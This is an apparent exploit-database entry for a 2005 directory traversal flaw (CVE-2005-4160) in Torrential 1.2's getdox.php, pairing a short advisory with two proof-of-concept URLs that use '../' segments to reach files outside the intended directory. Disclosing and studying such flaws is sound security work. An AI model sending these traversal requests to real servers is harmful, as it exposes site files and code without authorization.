Torrential 1.2 - 'Getdox.php' Directory Traversal

Author: Shell
type: webapps
platform: php
port: 
date_added: 2005-11-22 
date_updated: 2013-07-02 
verified: 1 
codes: CVE-2005-4160;OSVDB-21305 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/15530/info

Torrential is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to retrieve arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Torrential Version 1.2 is vulnerable; other versions may also be vulnerable.

http://www.example.com/torrential/dox/getdox.php/../forums.php
http://www.example.com/torrential/dox/getdox.php/../../index.html